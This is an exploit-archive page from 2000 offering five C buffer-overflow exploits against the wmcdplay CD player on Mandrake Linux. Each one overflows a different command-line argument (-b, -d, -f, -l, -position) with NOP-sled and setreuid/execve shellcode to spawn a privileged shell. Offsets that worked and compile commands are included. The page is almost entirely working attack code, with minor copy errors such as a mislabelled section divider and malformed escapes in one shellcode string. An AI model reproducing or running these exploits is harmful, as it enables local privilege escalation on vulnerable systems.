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wmcdplay-exp.c

wmcdplay-exp.c
Posted Mar 24, 2000
Authored by Larry W. Cashdollar | Site team-teso.net

5 exploits for wmcdplay (A cd player designed for WindowMaker - Release 1.0 Beta1) Tested on Mandrake 7.0.

tags | exploit
systems | linux, mandrake
SHA-256 | b3df24fce3105f322d4f200071911aafe6bd5667f3ca8f7cca758ea51fc67a99

wmcdplay-exp.c

Change Mirror Download
wmcdplay - A cd player designed for WindowMaker
05/09/98 Release 1.0 Beta1

Originaly discovered by the TESO crew.

1 -f artwork_file load the specified artwork file
2 -l led_color use the specified color for led displays
3 -b back_color use the specified color for backgrounds
4 -d cd_device use specified device (rather than
/dev/cdrom)
5 -position position set window position (see X manual pages)



1. Overflows at buffersize 256.
2. Overflows at buffersize 534.
3. Overflows at buffersize 786. hmmm.
4. Overflows at buffersize 786. hmmm.
5. Overflows at buffersize 1300.


<------------------------ back_color exploit --------------------->
/*Overflows the -b arg (back_color) buffer in wmcdplay due to a bad
sprintf
*call. This seems to be how most of the command line arguments are
called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original hole.

*/


#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90 /*no operation skip to next instruction.
*/
#define LEN 786 /*our buffersize. */


char shellcode[] = /*execve with setreuid(0,0) and no '/'
hellkit v1.1 */

"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"

"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"

"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"


"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"


"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"


"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"

"\xc2\x91";


/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;

long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs in to the buffer leaving space for shellcode and
pointers*/

printf ("Jumping to address %x BufSize %d\n", retaddr + atoi
(argv[1]),
LEN);

for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;

/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));

execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-b", buffer, 0);

}
<------------------------ back_color exploit ----------------------->

<------------------------ cd_device exploit --------------------->


/*Overflows the -d arg (cd device) buffer in wmcdplay due to a bad
*sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original -d
hole.
*/


#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90 /*no operation skip to next instruction.
*/
#define LEN 1045 /*our buffersize. */

char shellcode[] = /*generic shellcode with out '/' ie not
mine */

"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"

"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"

"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"


"\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"


"\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"


"\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\0x91\0x91\0x91";

/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{

__asm__ ("mov %esp, %eax");

}

int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;

long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs in to the buffer leaving space for shellcode and
pointers*/

printf ("Jumping to address %x, BufSize %d\n", retaddr + atoi
(argv[1]),
LEN);

for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;

/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-d", buffer, 0);

}

<------------------------ cd_device exploit ----------------------->

<------------------------ art_file exploit ------------------------->

/*Overflows the -f arg (artfile) buffer in wmcdplay due to a bad
*sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-fexp.c -o wmf ;./wmf <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original hole.

*/



#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90 /*no operation skip to next instruction.
*/
#define LEN 256 /*our buffersize. */


char shellcode[] = /*execve with setreuid(0,0) and no '/'
hellkit v1.1 */

"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"

"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"

"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"


"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"


"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"


"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"

"\xc2\x91";


/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;

long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs in to the buffer leaving space for shellcode and
pointers*/

printf ("Jumping to address %x BufSize %d\n", retaddr + atoi
(argv[1]),
LEN);

for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;

/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));

execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-f", buffer, 0);

}

<------------------------ cd_device exploit ----------------------->

<------------------------ led_color exploit ------------------------>

/*Overflows the -l arg (led_color) buffer in wmcdplay due to a bad
*sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-lexp.c -o wml ;./wml <offset>
*offset 390 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original -d
hole.
*/



#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90 /*no operation skip to next instruction.
*/
#define LEN 534 /*our buffersize. */


char shellcode[] = /*execve with setreuid(0,0) and no '/'
hellkit v1.1 */

"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"

"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"

"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"


"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"


"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"


"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"

"\xc2\x91";


/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;

long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs in to the buffer leaving space for shellcode and
pointers*/

printf ("Jumping to address %x BufSize %d\n", retaddr + atoi
(argv[1]),
LEN);

for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;

/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));

execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-l", buffer, 0);

}

<------------------------ led_color exploit------------------------>

<------------------------ position exploit ------------------------->

/*Overflows the -position arg (position) buffer in wmcdplay due to a
*bad sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original -d
hole.
*/



#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90 /*no operation skip to next instruction.
*/
#define LEN 1300 /*our buffersize. */


char shellcode[] = /*execve with setreuid(0,0) and no '/'
hellkit v1.1 */

"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"

"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"

"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"


"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"


"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"


"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"

"\xc2\x91";


/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;

long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs in to the buffer leaving space for shellcode and
pointers*/

printf ("Jumping to address %x BufSize %d\n", retaddr + atoi
(argv[1]),
LEN);

for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;

/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));

execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-position", buffer, 0);

}
<------------------------ position exploit ------------------------->









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